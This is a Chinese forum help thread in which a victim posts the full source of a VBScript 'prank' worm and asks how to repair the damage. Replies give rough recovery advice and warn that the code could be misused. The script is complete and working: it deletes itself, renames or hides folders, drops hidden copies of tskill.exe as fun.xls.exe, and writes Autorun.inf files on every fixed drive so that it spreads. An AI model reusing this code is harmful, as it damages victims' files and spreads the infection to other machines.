VBS整人代码的破解
急病乱投医，竟然跑到这儿来了，被人用VBS给黑了，代码如下，他说他也不会破解，给了我代码，代码如下，求解：
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
效果如下：
1.桌面几乎全部快捷方式被删除
2.所有文件夹被重名名为文件夹名.exe
3.几乎所有文件关联失效
4。每个文件夹内都会有一个内容为：
[Autorun]
Open=fun.xls.exe
的AUTORUN.INF的文件和一个
fun.xls.exe的隐藏文件
[解决办法]
都这样了还搞个毛啊……
代码不难，功能也很明确，但这东西是不可逆的啊，快捷方式删了找回来很麻烦，不如自己重建吧。文件关联被删了这个有点老火，可以考虑在别人的机器里把文件关联的注册表文件导出来再导入你的注册表，那些由VBS建的文件手动删吧，有水平可以自己写程序删，反正我搞不定……
[解决办法]
这个毒还真遇到过，不过一眼就看穿了。。。
用文件夹＋.exe的方式，我见过的只有fun.xls这个毒，确实比较搞笑~
[解决办法]
脚本写的不怎么样，心黑脸皮厚就行了。
[解决办法]
楼主贴出来代码，可能被人恶意利用哦
